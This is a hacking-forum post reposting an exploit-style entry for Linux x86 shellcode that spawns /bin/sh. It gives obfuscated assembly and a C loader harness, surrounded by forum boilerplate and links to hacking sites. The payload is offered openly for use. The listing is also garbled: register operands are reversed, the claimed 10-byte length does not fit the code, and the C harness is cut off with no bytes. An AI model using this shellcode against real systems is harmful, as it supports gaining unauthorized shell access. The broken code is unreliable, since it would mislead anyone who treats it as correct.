Jump to content

Linux/x86 execve/bin/shShellcode

Recommended Posts

# Exploit Title: Linux/x86 - execve "/bin/sh" (10 bytes)
# Google Dork: None
# Exploit Author: cybersaki
# Vendor Homepage: None
# Software Link: None
# Version: None
# Tested on: Kali linux 2020.2a i386 x86
# CVE : none
# Shellcode-length : 10
# SLAE-id : Purchased | [email protected]
# Reference : http://shell-storm.org/shellcode/files/shellcode-811.php
global _start
section .text
xor    eax, eax      ; zero our eax
push   eax
; push   0x68732f2f
mov eax, 0xd0e65e5e
ror eax, 1                       ; shift the register by 1 ro right
push eax
; push   0x6e69622f
add eax, 0x5f63300               ; add 5f63300 to eax register to push 6e69622f                                       
push eax
mov    esp,ebx
mov    eax,ecx
mov    eax,edx
mov    al,0xb
int    0x80
; End section for exit call
xor    eax,eax
inc    eax
int    0x80
unsigned char code[] = \
int main()
        printf("Shellcode Length:  %d\n", strlen(code));
        int (*ret)() = (int(*)())code;


Link to post
Share on other sites

Follow: 世界中文黑客论坛由CNHACKTEAM[CHT]创建,汇集国内外技术人员,这是一群研究网安黑客攻防技术领域的专家.



Пожалуйста, соблюдайте законы страны, в которой вы находитесь, во время обучения, или будут последствия!


Please abide by the relevant laws of your country during your study, or you will be responsible for the consequences!

官方旗下项目丨About our project



黑客攻防  技术问答  0day  Hack News  CHT Team  使用指南  商城/Mall  商城订单查询  捐赠/donations  在线用户  X  联系邮箱email:[email protected]

友情链接丨Link丨Связь дружбы

CNHACKTEAM   CHT team official website     www.hac-ker.com     hacked.com.cn     www.77169.net     www.ddosi.com


  • Create New...

Important Information

Please use your computer to visit our website; Please agree to our website rules!Guidelines